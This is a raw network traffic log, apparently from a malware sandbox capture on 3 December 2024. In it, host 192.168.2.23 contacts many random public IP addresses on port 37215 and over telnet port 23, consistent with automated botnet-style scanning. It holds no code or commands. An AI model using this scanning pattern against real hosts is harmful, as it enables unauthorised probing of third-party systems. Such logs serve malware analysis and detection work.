Dec 3, 2024 21:30:44.110594988 CET	59009	37215	192.168.2.23	156.188.221.174
Dec 3, 2024 21:30:44.110594988 CET	59009	37215	192.168.2.23	41.85.45.123
Dec 3, 2024 21:30:44.110598087 CET	59009	37215	192.168.2.23	197.105.45.41
Dec 3, 2024 21:30:44.110614061 CET	59009	37215	192.168.2.23	156.48.125.205
Dec 3, 2024 21:30:44.110615015 CET	59009	37215	192.168.2.23	41.14.144.31
Dec 3, 2024 21:30:44.110634089 CET	59009	37215	192.168.2.23	156.138.196.119
Dec 3, 2024 21:30:44.110636950 CET	59009	37215	192.168.2.23	156.38.229.182
Dec 3, 2024 21:30:44.110639095 CET	59009	37215	192.168.2.23	156.150.188.25
Dec 3, 2024 21:30:44.110641956 CET	59009	37215	192.168.2.23	156.17.101.11
Dec 3, 2024 21:30:44.110641956 CET	59009	37215	192.168.2.23	197.192.220.72
Dec 3, 2024 21:30:44.110641956 CET	59009	37215	192.168.2.23	41.118.115.56
Dec 3, 2024 21:30:44.110642910 CET	59009	37215	192.168.2.23	197.128.211.173
Dec 3, 2024 21:30:44.110642910 CET	59009	37215	192.168.2.23	41.133.239.137
Dec 3, 2024 21:30:44.110642910 CET	59009	37215	192.168.2.23	41.154.201.140
Dec 3, 2024 21:30:44.110650063 CET	59009	37215	192.168.2.23	41.243.186.67
Dec 3, 2024 21:30:44.110651016 CET	59009	37215	192.168.2.23	156.189.127.165
Dec 3, 2024 21:30:44.110652924 CET	59009	37215	192.168.2.23	41.81.78.181
Dec 3, 2024 21:30:44.110657930 CET	59009	37215	192.168.2.23	41.98.106.173
Dec 3, 2024 21:30:44.110660076 CET	59009	37215	192.168.2.23	41.124.188.166
Dec 3, 2024 21:30:44.110662937 CET	59009	37215	192.168.2.23	156.4.99.61
Dec 3, 2024 21:30:44.110663891 CET	59009	37215	192.168.2.23	156.17.224.177
Dec 3, 2024 21:30:44.110663891 CET	59009	37215	192.168.2.23	197.82.187.103
Dec 3, 2024 21:30:44.110677004 CET	59009	37215	192.168.2.23	156.182.250.112
Dec 3, 2024 21:30:44.110677004 CET	59009	37215	192.168.2.23	156.250.104.94
Dec 3, 2024 21:30:44.110691071 CET	59009	37215	192.168.2.23	156.136.182.137
Dec 3, 2024 21:30:44.110691071 CET	59009	37215	192.168.2.23	156.124.152.249
Dec 3, 2024 21:30:44.110691071 CET	59009	37215	192.168.2.23	41.1.177.224
Dec 3, 2024 21:30:44.110693932 CET	59009	37215	192.168.2.23	156.156.106.198
Dec 3, 2024 21:30:44.110697031 CET	59009	37215	192.168.2.23	156.49.236.105
Dec 3, 2024 21:30:44.110697985 CET	59009	37215	192.168.2.23	156.149.4.72
Dec 3, 2024 21:30:44.110706091 CET	59009	37215	192.168.2.23	156.153.230.76
Dec 3, 2024 21:30:44.110706091 CET	59009	37215	192.168.2.23	41.82.199.175
Dec 3, 2024 21:30:44.110716105 CET	59009	37215	192.168.2.23	156.210.198.131
Dec 3, 2024 21:30:44.110718966 CET	59009	37215	192.168.2.23	156.117.58.8
Dec 3, 2024 21:30:44.110726118 CET	59009	37215	192.168.2.23	197.179.38.237
Dec 3, 2024 21:30:44.110726118 CET	59009	37215	192.168.2.23	197.191.172.13
Dec 3, 2024 21:30:44.110729933 CET	59009	37215	192.168.2.23	41.150.148.109
Dec 3, 2024 21:30:44.110738039 CET	59009	37215	192.168.2.23	41.185.16.104
Dec 3, 2024 21:30:44.110738993 CET	59009	37215	192.168.2.23	41.255.246.164
Dec 3, 2024 21:30:44.110749006 CET	59009	37215	192.168.2.23	41.99.71.196
Dec 3, 2024 21:30:44.110749006 CET	59009	37215	192.168.2.23	156.136.114.238
Dec 3, 2024 21:30:44.110755920 CET	59009	37215	192.168.2.23	41.99.52.200
Dec 3, 2024 21:30:44.110757113 CET	59009	37215	192.168.2.23	41.120.48.83
Dec 3, 2024 21:30:44.110773087 CET	59009	37215	192.168.2.23	197.143.84.138
Dec 3, 2024 21:30:44.110773087 CET	59009	37215	192.168.2.23	197.187.129.219
Dec 3, 2024 21:30:44.110773087 CET	59009	37215	192.168.2.23	156.56.34.135
Dec 3, 2024 21:30:44.110779047 CET	59009	37215	192.168.2.23	156.23.89.48
Dec 3, 2024 21:30:44.110779047 CET	59009	37215	192.168.2.23	197.205.156.125
Dec 3, 2024 21:30:44.110779047 CET	59009	37215	192.168.2.23	156.178.229.192
Dec 3, 2024 21:30:44.110780954 CET	59009	37215	192.168.2.23	41.145.251.207
Dec 3, 2024 21:30:44.110786915 CET	59009	37215	192.168.2.23	156.1.66.241
Dec 3, 2024 21:30:44.110786915 CET	59009	37215	192.168.2.23	197.33.18.155
Dec 3, 2024 21:30:44.110789061 CET	59009	37215	192.168.2.23	156.158.244.231
Dec 3, 2024 21:30:44.110805988 CET	59009	37215	192.168.2.23	41.7.186.194
Dec 3, 2024 21:30:44.110810041 CET	59009	37215	192.168.2.23	197.51.220.16
Dec 3, 2024 21:30:44.110810041 CET	59009	37215	192.168.2.23	156.67.126.117
Dec 3, 2024 21:30:44.110824108 CET	59009	37215	192.168.2.23	197.144.176.118
Dec 3, 2024 21:30:44.110825062 CET	59009	37215	192.168.2.23	41.205.141.152
Dec 3, 2024 21:30:44.110826015 CET	59009	37215	192.168.2.23	197.2.111.120
Dec 3, 2024 21:30:44.110827923 CET	59009	37215	192.168.2.23	156.86.196.17
Dec 3, 2024 21:30:44.110831976 CET	59009	37215	192.168.2.23	197.6.234.227
Dec 3, 2024 21:30:44.110846043 CET	59009	37215	192.168.2.23	41.184.159.188
Dec 3, 2024 21:30:44.110846043 CET	59009	37215	192.168.2.23	156.153.75.129
Dec 3, 2024 21:30:44.110847950 CET	59009	37215	192.168.2.23	197.118.176.252
Dec 3, 2024 21:30:44.110847950 CET	59009	37215	192.168.2.23	197.244.180.18
Dec 3, 2024 21:30:44.110848904 CET	59009	37215	192.168.2.23	197.33.48.72
Dec 3, 2024 21:30:44.110848904 CET	59009	37215	192.168.2.23	41.92.33.141
Dec 3, 2024 21:30:44.110863924 CET	59009	37215	192.168.2.23	156.192.28.240
Dec 3, 2024 21:30:44.110866070 CET	59009	37215	192.168.2.23	41.240.3.215
Dec 3, 2024 21:30:44.110867977 CET	59009	37215	192.168.2.23	41.176.125.15
Dec 3, 2024 21:30:44.110874891 CET	59009	37215	192.168.2.23	156.30.65.150
Dec 3, 2024 21:30:44.110879898 CET	59009	37215	192.168.2.23	197.225.64.234
Dec 3, 2024 21:30:44.110886097 CET	59009	37215	192.168.2.23	41.108.187.61
Dec 3, 2024 21:30:44.110901117 CET	59009	37215	192.168.2.23	41.252.201.48
Dec 3, 2024 21:30:44.110901117 CET	59009	37215	192.168.2.23	41.245.221.3
Dec 3, 2024 21:30:44.110905886 CET	59009	37215	192.168.2.23	41.119.115.230
Dec 3, 2024 21:30:44.110908031 CET	59009	37215	192.168.2.23	156.200.44.166
Dec 3, 2024 21:30:44.110908985 CET	59009	37215	192.168.2.23	197.210.73.24
Dec 3, 2024 21:30:44.110923052 CET	59009	37215	192.168.2.23	197.74.133.108
Dec 3, 2024 21:30:44.110924006 CET	59009	37215	192.168.2.23	197.71.105.64
Dec 3, 2024 21:30:44.110924959 CET	59009	37215	192.168.2.23	197.142.154.130
Dec 3, 2024 21:30:44.110941887 CET	59009	37215	192.168.2.23	41.14.98.82
Dec 3, 2024 21:30:44.110945940 CET	59009	37215	192.168.2.23	156.212.214.150
Dec 3, 2024 21:30:44.110948086 CET	59009	37215	192.168.2.23	197.43.46.129
Dec 3, 2024 21:30:44.110949993 CET	59009	37215	192.168.2.23	156.91.245.117
Dec 3, 2024 21:30:44.110955954 CET	59009	37215	192.168.2.23	156.15.197.17
Dec 3, 2024 21:30:44.110958099 CET	59009	37215	192.168.2.23	156.191.117.186
Dec 3, 2024 21:30:44.110970974 CET	59009	37215	192.168.2.23	41.97.171.255
Dec 3, 2024 21:30:44.110972881 CET	59009	37215	192.168.2.23	197.109.123.65
Dec 3, 2024 21:30:44.110991955 CET	59009	37215	192.168.2.23	197.5.190.165
Dec 3, 2024 21:30:44.110991955 CET	59009	37215	192.168.2.23	156.65.69.86
Dec 3, 2024 21:30:44.110991955 CET	59009	37215	192.168.2.23	156.88.91.191
Dec 3, 2024 21:30:44.110991955 CET	59009	37215	192.168.2.23	41.122.90.78
Dec 3, 2024 21:30:44.110991955 CET	59009	37215	192.168.2.23	197.220.42.114
Dec 3, 2024 21:30:44.110996008 CET	59009	37215	192.168.2.23	41.70.174.108
Dec 3, 2024 21:30:44.110996008 CET	59009	37215	192.168.2.23	156.183.109.183
Dec 3, 2024 21:30:44.110999107 CET	59009	37215	192.168.2.23	197.90.4.142
Dec 3, 2024 21:30:44.111018896 CET	59009	37215	192.168.2.23	41.150.42.2
Dec 3, 2024 21:30:44.111021042 CET	59009	37215	192.168.2.23	41.173.138.155
Dec 3, 2024 21:30:44.111021042 CET	59009	37215	192.168.2.23	197.113.121.245
Dec 3, 2024 21:30:44.111023903 CET	59009	37215	192.168.2.23	41.126.167.242
Dec 3, 2024 21:30:44.111023903 CET	59009	37215	192.168.2.23	156.160.217.88
Dec 3, 2024 21:30:44.111027956 CET	59009	37215	192.168.2.23	156.8.134.238
Dec 3, 2024 21:30:44.111028910 CET	59009	37215	192.168.2.23	197.140.223.208
Dec 3, 2024 21:30:44.111030102 CET	59009	37215	192.168.2.23	156.138.7.174
Dec 3, 2024 21:30:44.111035109 CET	59009	37215	192.168.2.23	197.2.37.230
Dec 3, 2024 21:30:44.111047029 CET	59009	37215	192.168.2.23	156.96.27.80
Dec 3, 2024 21:30:44.111051083 CET	59009	37215	192.168.2.23	156.97.224.161
Dec 3, 2024 21:30:44.111056089 CET	59009	37215	192.168.2.23	156.87.162.15
Dec 3, 2024 21:30:44.111057997 CET	59009	37215	192.168.2.23	197.6.19.171
Dec 3, 2024 21:30:44.111076117 CET	59009	37215	192.168.2.23	41.76.192.181
Dec 3, 2024 21:30:44.111076117 CET	59009	37215	192.168.2.23	197.78.222.202
Dec 3, 2024 21:30:44.111076117 CET	59009	37215	192.168.2.23	156.243.206.142
Dec 3, 2024 21:30:44.111076117 CET	59009	37215	192.168.2.23	41.97.231.68
Dec 3, 2024 21:30:44.111083031 CET	59009	37215	192.168.2.23	41.43.158.250
Dec 3, 2024 21:30:44.111085892 CET	59009	37215	192.168.2.23	197.30.94.193
Dec 3, 2024 21:30:44.111088991 CET	59009	37215	192.168.2.23	197.163.33.119
Dec 3, 2024 21:30:44.111094952 CET	59009	37215	192.168.2.23	156.206.70.9
Dec 3, 2024 21:30:44.111097097 CET	59009	37215	192.168.2.23	156.60.240.53
Dec 3, 2024 21:30:44.111109972 CET	59009	37215	192.168.2.23	156.92.147.232
Dec 3, 2024 21:30:44.111109972 CET	59009	37215	192.168.2.23	197.255.61.149
Dec 3, 2024 21:30:44.111109972 CET	59009	37215	192.168.2.23	197.147.159.217
Dec 3, 2024 21:30:44.111114025 CET	59009	37215	192.168.2.23	197.77.138.190
Dec 3, 2024 21:30:44.111116886 CET	59009	37215	192.168.2.23	41.119.79.170
Dec 3, 2024 21:30:44.111133099 CET	59009	37215	192.168.2.23	197.55.173.197
Dec 3, 2024 21:30:44.111141920 CET	59009	37215	192.168.2.23	197.168.88.159
Dec 3, 2024 21:30:44.111141920 CET	59009	37215	192.168.2.23	197.84.129.141
Dec 3, 2024 21:30:44.111145020 CET	59009	37215	192.168.2.23	197.199.225.214
Dec 3, 2024 21:30:44.111145020 CET	59009	37215	192.168.2.23	197.69.163.70
Dec 3, 2024 21:30:44.111145020 CET	59009	37215	192.168.2.23	156.98.246.250
Dec 3, 2024 21:30:44.111145020 CET	59009	37215	192.168.2.23	197.101.31.25
Dec 3, 2024 21:30:44.111149073 CET	59009	37215	192.168.2.23	197.162.207.226
Dec 3, 2024 21:30:44.111151934 CET	59009	37215	192.168.2.23	156.177.26.157
Dec 3, 2024 21:30:44.111159086 CET	59009	37215	192.168.2.23	41.170.109.27
Dec 3, 2024 21:30:44.111160994 CET	59009	37215	192.168.2.23	41.208.64.61
Dec 3, 2024 21:30:44.111162901 CET	59009	37215	192.168.2.23	197.131.183.67
Dec 3, 2024 21:30:44.111191034 CET	59009	37215	192.168.2.23	41.143.203.14
Dec 3, 2024 21:30:44.111191988 CET	59009	37215	192.168.2.23	41.25.156.219
Dec 3, 2024 21:30:44.111191988 CET	59009	37215	192.168.2.23	41.153.196.70
Dec 3, 2024 21:30:44.111198902 CET	59009	37215	192.168.2.23	197.164.183.41
Dec 3, 2024 21:30:44.111198902 CET	59009	37215	192.168.2.23	41.88.254.255
Dec 3, 2024 21:30:44.111207008 CET	59009	37215	192.168.2.23	197.12.155.140
Dec 3, 2024 21:30:44.111215115 CET	59009	37215	192.168.2.23	197.146.82.134
Dec 3, 2024 21:30:44.111223936 CET	59009	37215	192.168.2.23	156.242.117.250
Dec 3, 2024 21:30:44.111223936 CET	59009	37215	192.168.2.23	156.139.153.7
Dec 3, 2024 21:30:44.111223936 CET	59009	37215	192.168.2.23	41.12.106.133
Dec 3, 2024 21:30:44.111227036 CET	59009	37215	192.168.2.23	197.206.133.153
Dec 3, 2024 21:30:44.111228943 CET	59009	37215	192.168.2.23	41.36.55.103
Dec 3, 2024 21:30:44.111242056 CET	59009	37215	192.168.2.23	41.61.82.24
Dec 3, 2024 21:30:44.111242056 CET	59009	37215	192.168.2.23	156.209.48.2
Dec 3, 2024 21:30:44.111253023 CET	59009	37215	192.168.2.23	41.179.26.95
Dec 3, 2024 21:30:44.111258030 CET	59009	37215	192.168.2.23	197.195.141.101
Dec 3, 2024 21:30:44.111258030 CET	59009	37215	192.168.2.23	41.147.82.207
Dec 3, 2024 21:30:44.111260891 CET	59009	37215	192.168.2.23	197.242.250.132
Dec 3, 2024 21:30:44.111263037 CET	59009	37215	192.168.2.23	197.132.149.165
Dec 3, 2024 21:30:44.111273050 CET	59009	37215	192.168.2.23	156.67.114.158
Dec 3, 2024 21:30:44.111275911 CET	59009	37215	192.168.2.23	197.17.71.74
Dec 3, 2024 21:30:44.111277103 CET	59009	37215	192.168.2.23	156.158.120.154
Dec 3, 2024 21:30:44.111284018 CET	59009	37215	192.168.2.23	41.188.172.182
Dec 3, 2024 21:30:44.111438036 CET	59009	37215	192.168.2.23	197.157.44.86
Dec 3, 2024 21:30:44.205033064 CET	23	59020	79.169.18.18	192.168.2.23
Dec 3, 2024 21:30:44.205071926 CET	23	59020	201.52.254.69	192.168.2.23
Dec 3, 2024 21:30:44.205081940 CET	23	59020	13.72.18.2	192.168.2.23
Dec 3, 2024 21:30:44.205085993 CET	23	59020	62.162.175.80	192.168.2.23
Dec 3, 2024 21:30:44.205096006 CET	23	59020	194.147.220.69	192.168.2.23
Dec 3, 2024 21:30:44.205101013 CET	23	59020	73.164.226.15	192.168.2.23
Dec 3, 2024 21:30:44.205110073 CET	23	59020	158.86.129.114	192.168.2.23
Dec 3, 2024 21:30:44.205159903 CET	59020	23	192.168.2.23	79.169.18.18
Dec 3, 2024 21:30:44.205161095 CET	59020	23	192.168.2.23	13.72.18.2
Dec 3, 2024 21:30:44.205167055 CET	23	59020	83.250.177.243	192.168.2.23
Dec 3, 2024 21:30:44.205168009 CET	59020	23	192.168.2.23	62.162.175.80
Dec 3, 2024 21:30:44.205172062 CET	23	59020	136.127.71.69	192.168.2.23
Dec 3, 2024 21:30:44.205185890 CET	23	59020	175.153.120.153	192.168.2.23
Dec 3, 2024 21:30:44.205188990 CET	59020	23	192.168.2.23	194.147.220.69
Dec 3, 2024 21:30:44.205189943 CET	23	59020	141.63.249.56	192.168.2.23
Dec 3, 2024 21:30:44.205207109 CET	23	59020	86.22.128.38	192.168.2.23
Dec 3, 2024 21:30:44.205213070 CET	23	59020	147.69.69.108	192.168.2.23
Dec 3, 2024 21:30:44.205214024 CET	59020	23	192.168.2.23	158.86.129.114
Dec 3, 2024 21:30:44.205373049 CET	59020	23	192.168.2.23	83.250.177.243
Dec 3, 2024 21:30:44.205374002 CET	59020	23	192.168.2.23	147.69.69.108
Dec 3, 2024 21:30:44.205380917 CET	59020	23	192.168.2.23	141.63.249.56
Dec 3, 2024 21:30:44.205380917 CET	59020	23	192.168.2.23	175.153.120.153
Dec 3, 2024 21:30:44.205389023 CET	59020	23	192.168.2.23	136.127.71.69
Dec 3, 2024 21:30:44.205398083 CET	59020	23	192.168.2.23	86.22.128.38
Dec 3, 2024 21:30:44.205425024 CET	59020	23	192.168.2.23	201.52.254.69
Dec 3, 2024 21:30:44.205425024 CET	59020	23	192.168.2.23	73.164.226.15
Dec 3, 2024 21:30:44.205962896 CET	23	59020	180.226.45.165	192.168.2.23
Dec 3, 2024 21:30:44.205967903 CET	23	59020	120.88.152.82	192.168.2.23
Dec 3, 2024 21:30:44.205979109 CET	23	59020	189.35.228.33	192.168.2.23
Dec 3, 2024 21:30:44.205984116 CET	23	59020	166.138.27.199	192.168.2.23
Dec 3, 2024 21:30:44.206018925 CET	59020	23	192.168.2.23	120.88.152.82
Dec 3, 2024 21:30:44.206022024 CET	59020	23	192.168.2.23	166.138.27.199
Dec 3, 2024 21:30:44.206018925 CET	59020	23	192.168.2.23	180.226.45.165
Dec 3, 2024 21:30:44.206026077 CET	59020	23	192.168.2.23	189.35.228.33
Dec 3, 2024 21:30:44.206093073 CET	23	59020	31.84.141.136	192.168.2.23
Dec 3, 2024 21:30:44.206099033 CET	23	59020	191.49.74.53	192.168.2.23
Dec 3, 2024 21:30:44.206109047 CET	23	59020	221.134.164.214	192.168.2.23
Dec 3, 2024 21:30:44.206113100 CET	23	59020	124.203.112.21	192.168.2.23
Dec 3, 2024 21:30:44.206121922 CET	23	59020	199.68.110.182	192.168.2.23
Dec 3, 2024 21:30:44.206126928 CET	23	59020	154.103.122.174	192.168.2.23
Dec 3, 2024 21:30:44.206130981 CET	23	59020	31.115.173.21	192.168.2.23
Dec 3, 2024 21:30:44.206140041 CET	59020	23	192.168.2.23	191.49.74.53
Dec 3, 2024 21:30:44.206140041 CET	59020	23	192.168.2.23	31.84.141.136
Dec 3, 2024 21:30:44.206145048 CET	23	59020	75.160.31.192	192.168.2.23
Dec 3, 2024 21:30:44.206146955 CET	59020	23	192.168.2.23	221.134.164.214
Dec 3, 2024 21:30:44.206146955 CET	59020	23	192.168.2.23	199.68.110.182
Dec 3, 2024 21:30:44.206157923 CET	59020	23	192.168.2.23	124.203.112.21
Dec 3, 2024 21:30:44.206165075 CET	23	59020	134.92.94.114	192.168.2.23
Dec 3, 2024 21:30:44.206167936 CET	59020	23	192.168.2.23	31.115.173.21
Dec 3, 2024 21:30:44.206170082 CET	23	59020	114.202.233.170	192.168.2.23
Dec 3, 2024 21:30:44.206173897 CET	59020	23	192.168.2.23	154.103.122.174
Dec 3, 2024 21:30:44.206180096 CET	23	59020	90.162.115.53	192.168.2.23
Dec 3, 2024 21:30:44.206183910 CET	23	59020	107.168.123.168	192.168.2.23
Dec 3, 2024 21:30:44.206197023 CET	59020	23	192.168.2.23	75.160.31.192
Dec 3, 2024 21:30:44.206206083 CET	23	59020	115.241.3.146	192.168.2.23
Dec 3, 2024 21:30:44.206208944 CET	59020	23	192.168.2.23	90.162.115.53
Dec 3, 2024 21:30:44.206211090 CET	59020	23	192.168.2.23	134.92.94.114
Dec 3, 2024 21:30:44.206211090 CET	59020	23	192.168.2.23	107.168.123.168
Dec 3, 2024 21:30:44.206213951 CET	23	59020	44.195.146.69	192.168.2.23
Dec 3, 2024 21:30:44.206223965 CET	23	59020	38.230.52.186	192.168.2.23
Dec 3, 2024 21:30:44.206227064 CET	59020	23	192.168.2.23	114.202.233.170
Dec 3, 2024 21:30:44.206228018 CET	23	59020	112.132.199.236	192.168.2.23
Dec 3, 2024 21:30:44.206237078 CET	23	59020	190.108.219.142	192.168.2.23
Dec 3, 2024 21:30:44.206240892 CET	23	59020	126.149.6.164	192.168.2.23
Dec 3, 2024 21:30:44.206250906 CET	23	59020	99.93.175.166	192.168.2.23
Dec 3, 2024 21:30:44.206254005 CET	59020	23	192.168.2.23	115.241.3.146
Dec 3, 2024 21:30:44.206258059 CET	59020	23	192.168.2.23	44.195.146.69
Dec 3, 2024 21:30:44.206267118 CET	23	59020	110.182.120.133	192.168.2.23
Dec 3, 2024 21:30:44.206268072 CET	59020	23	192.168.2.23	38.230.52.186
Dec 3, 2024 21:30:44.206268072 CET	59020	23	192.168.2.23	112.132.199.236
Dec 3, 2024 21:30:44.206268072 CET	59020	23	192.168.2.23	190.108.219.142
Dec 3, 2024 21:30:44.206271887 CET	23	59020	123.174.95.78	192.168.2.23
Dec 3, 2024 21:30:44.206283092 CET	23	59020	124.122.37.176	192.168.2.23
Dec 3, 2024 21:30:44.206300974 CET	23	59020	45.172.212.85	192.168.2.23
Dec 3, 2024 21:30:44.206301928 CET	59020	23	192.168.2.23	126.149.6.164
Dec 3, 2024 21:30:44.206301928 CET	59020	23	192.168.2.23	99.93.175.166
Dec 3, 2024 21:30:44.206309080 CET	23	59020	115.40.46.103	192.168.2.23
Dec 3, 2024 21:30:44.206310987 CET	59020	23	192.168.2.23	123.174.95.78
Dec 3, 2024 21:30:44.206311941 CET	59020	23	192.168.2.23	124.122.37.176
Dec 3, 2024 21:30:44.206343889 CET	59020	23	192.168.2.23	110.182.120.133
Dec 3, 2024 21:30:44.206342936 CET	59020	23	192.168.2.23	115.40.46.103
Dec 3, 2024 21:30:44.206342936 CET	59020	23	192.168.2.23	45.172.212.85
Dec 3, 2024 21:30:44.207328081 CET	23	59020	68.130.134.68	192.168.2.23
Dec 3, 2024 21:30:44.207346916 CET	23	59020	54.126.30.249	192.168.2.23
Dec 3, 2024 21:30:44.207370996 CET	59020	23	192.168.2.23	68.130.134.68
Dec 3, 2024 21:30:44.207401991 CET	23	59020	31.229.241.126	192.168.2.23
Dec 3, 2024 21:30:44.207407951 CET	23	59020	96.205.234.198	192.168.2.23
Dec 3, 2024 21:30:44.207408905 CET	59020	23	192.168.2.23	54.126.30.249
Dec 3, 2024 21:30:44.207425117 CET	23	59020	132.7.150.151	192.168.2.23
Dec 3, 2024 21:30:44.207429886 CET	23	59020	144.213.89.100	192.168.2.23
Dec 3, 2024 21:30:44.207439899 CET	23	59020	136.250.188.100	192.168.2.23
Dec 3, 2024 21:30:44.207446098 CET	23	59020	198.30.38.126	192.168.2.23
Dec 3, 2024 21:30:44.207452059 CET	59020	23	192.168.2.23	31.229.241.126
Dec 3, 2024 21:30:44.207472086 CET	23	59020	174.9.206.53	192.168.2.23
Dec 3, 2024 21:30:44.207474947 CET	59020	23	192.168.2.23	144.213.89.100
Dec 3, 2024 21:30:44.207477093 CET	23	59020	38.109.20.98	192.168.2.23
Dec 3, 2024 21:30:44.207504988 CET	23	59020	190.198.5.191	192.168.2.23
Dec 3, 2024 21:30:44.207509995 CET	23	59020	126.139.174.236	192.168.2.23
Dec 3, 2024 21:30:44.207509995 CET	59020	23	192.168.2.23	96.205.234.198
Dec 3, 2024 21:30:44.207509995 CET	59020	23	192.168.2.23	132.7.150.151
Dec 3, 2024 21:30:44.207509995 CET	59020	23	192.168.2.23	136.250.188.100
Dec 3, 2024 21:30:44.207509995 CET	59020	23	192.168.2.23	198.30.38.126
Dec 3, 2024 21:30:44.207519054 CET	59020	23	192.168.2.23	38.109.20.98
Dec 3, 2024 21:30:44.207521915 CET	59020	23	192.168.2.23	174.9.206.53
Dec 3, 2024 21:30:44.207540035 CET	59020	23	192.168.2.23	190.198.5.191
Dec 3, 2024 21:30:44.207549095 CET	59020	23	192.168.2.23	126.139.174.236
Dec 3, 2024 21:30:44.207586050 CET	23	59020	41.143.130.47	192.168.2.23
Dec 3, 2024 21:30:44.207590103 CET	23	59020	185.206.192.229	192.168.2.23
Dec 3, 2024 21:30:44.207626104 CET	23	59020	8.231.208.205	192.168.2.23
Dec 3, 2024 21:30:44.207629919 CET	59020	23	192.168.2.23	41.143.130.47
Dec 3, 2024 21:30:44.207631111 CET	23	59020	85.221.238.108	192.168.2.23
Dec 3, 2024 21:30:44.207632065 CET	59020	23	192.168.2.23	185.206.192.229
Dec 3, 2024 21:30:44.207678080 CET	59020	23	192.168.2.23	85.221.238.108
Dec 3, 2024 21:30:44.207680941 CET	23	59020	149.91.244.159	192.168.2.23
Dec 3, 2024 21:30:44.207681894 CET	59020	23	192.168.2.23	8.231.208.205
Dec 3, 2024 21:30:44.207685947 CET	23	59020	72.146.232.158	192.168.2.23
Dec 3, 2024 21:30:44.207690954 CET	23	59020	101.197.163.119	192.168.2.23
Dec 3, 2024 21:30:44.207695007 CET	23	59020	67.238.86.80	192.168.2.23
Dec 3, 2024 21:30:44.207725048 CET	59020	23	192.168.2.23	72.146.232.158
Dec 3, 2024 21:30:44.207736015 CET	59020	23	192.168.2.23	67.238.86.80
Dec 3, 2024 21:30:44.207736015 CET	59020	23	192.168.2.23	101.197.163.119
Dec 3, 2024 21:30:44.207762003 CET	59020	23	192.168.2.23	149.91.244.159
Dec 3, 2024 21:30:44.207823038 CET	23	59020	123.0.238.106	192.168.2.23
Dec 3, 2024 21:30:44.207828999 CET	23	59020	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:44.207839012 CET	23	59020	223.242.75.237	192.168.2.23
Dec 3, 2024 21:30:44.207844019 CET	23	59020	102.168.154.78	192.168.2.23
Dec 3, 2024 21:30:44.207853079 CET	23	59020	18.42.8.116	192.168.2.23
Dec 3, 2024 21:30:44.207856894 CET	23	59020	145.62.86.198	192.168.2.23
Dec 3, 2024 21:30:44.207865953 CET	23	59020	158.88.102.253	192.168.2.23
Dec 3, 2024 21:30:44.207870960 CET	59020	23	192.168.2.23	123.0.238.106
Dec 3, 2024 21:30:44.207875013 CET	59020	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:44.207875013 CET	59020	23	192.168.2.23	223.242.75.237
Dec 3, 2024 21:30:44.207890034 CET	59020	23	192.168.2.23	102.168.154.78
Dec 3, 2024 21:30:44.207892895 CET	59020	23	192.168.2.23	145.62.86.198
Dec 3, 2024 21:30:44.207895041 CET	59020	23	192.168.2.23	18.42.8.116
Dec 3, 2024 21:30:44.207901955 CET	59020	23	192.168.2.23	158.88.102.253
Dec 3, 2024 21:30:44.208614111 CET	23	59020	76.197.255.59	192.168.2.23
Dec 3, 2024 21:30:44.208620071 CET	23	59020	140.2.250.50	192.168.2.23
Dec 3, 2024 21:30:44.208632946 CET	23	59020	78.206.57.97	192.168.2.23
Dec 3, 2024 21:30:44.208664894 CET	59020	23	192.168.2.23	76.197.255.59
Dec 3, 2024 21:30:44.208666086 CET	59020	23	192.168.2.23	140.2.250.50
Dec 3, 2024 21:30:44.208666086 CET	59020	23	192.168.2.23	78.206.57.97
Dec 3, 2024 21:30:44.208688021 CET	23	59020	173.179.126.49	192.168.2.23
Dec 3, 2024 21:30:44.208693027 CET	23	59020	165.196.232.59	192.168.2.23
Dec 3, 2024 21:30:44.208729982 CET	23	59020	187.212.12.243	192.168.2.23
Dec 3, 2024 21:30:44.208734035 CET	23	59020	184.229.202.223	192.168.2.23
Dec 3, 2024 21:30:44.208739042 CET	23	59020	61.149.4.162	192.168.2.23
Dec 3, 2024 21:30:44.208760977 CET	23	59020	170.105.201.50	192.168.2.23
Dec 3, 2024 21:30:44.208774090 CET	59020	23	192.168.2.23	187.212.12.243
Dec 3, 2024 21:30:44.208775043 CET	59020	23	192.168.2.23	61.149.4.162
Dec 3, 2024 21:30:44.208775043 CET	59020	23	192.168.2.23	184.229.202.223
Dec 3, 2024 21:30:44.208776951 CET	59020	23	192.168.2.23	165.196.232.59
Dec 3, 2024 21:30:44.208789110 CET	59020	23	192.168.2.23	173.179.126.49
Dec 3, 2024 21:30:44.208796978 CET	59020	23	192.168.2.23	170.105.201.50
Dec 3, 2024 21:30:44.208800077 CET	23	59020	119.247.196.173	192.168.2.23
Dec 3, 2024 21:30:44.208805084 CET	23	59020	61.204.171.5	192.168.2.23
Dec 3, 2024 21:30:44.208832026 CET	23	59020	185.101.37.253	192.168.2.23
Dec 3, 2024 21:30:44.208837032 CET	23	59020	142.60.255.113	192.168.2.23
Dec 3, 2024 21:30:44.208846092 CET	59020	23	192.168.2.23	119.247.196.173
Dec 3, 2024 21:30:44.208849907 CET	59020	23	192.168.2.23	61.204.171.5
Dec 3, 2024 21:30:44.208863974 CET	23	59020	108.168.79.23	192.168.2.23
Dec 3, 2024 21:30:44.208868027 CET	59020	23	192.168.2.23	142.60.255.113
Dec 3, 2024 21:30:44.208877087 CET	23	59020	89.39.80.175	192.168.2.23
Dec 3, 2024 21:30:44.208877087 CET	59020	23	192.168.2.23	185.101.37.253
Dec 3, 2024 21:30:44.208880901 CET	23	59020	66.236.91.125	192.168.2.23
Dec 3, 2024 21:30:44.208894968 CET	23	59020	114.105.219.78	192.168.2.23
Dec 3, 2024 21:30:44.208899975 CET	59020	23	192.168.2.23	108.168.79.23
Dec 3, 2024 21:30:44.208913088 CET	23	59020	203.22.118.120	192.168.2.23
Dec 3, 2024 21:30:44.208920956 CET	59020	23	192.168.2.23	89.39.80.175
Dec 3, 2024 21:30:44.208925962 CET	59020	23	192.168.2.23	66.236.91.125
Dec 3, 2024 21:30:44.208931923 CET	59020	23	192.168.2.23	114.105.219.78
Dec 3, 2024 21:30:44.208947897 CET	59020	23	192.168.2.23	203.22.118.120
Dec 3, 2024 21:30:44.208952904 CET	23	59020	122.196.110.119	192.168.2.23
Dec 3, 2024 21:30:44.208957911 CET	23	59020	51.29.120.189	192.168.2.23
Dec 3, 2024 21:30:44.208997965 CET	59020	23	192.168.2.23	122.196.110.119
Dec 3, 2024 21:30:44.209007025 CET	59020	23	192.168.2.23	51.29.120.189
Dec 3, 2024 21:30:44.209120989 CET	23	59020	190.83.192.26	192.168.2.23
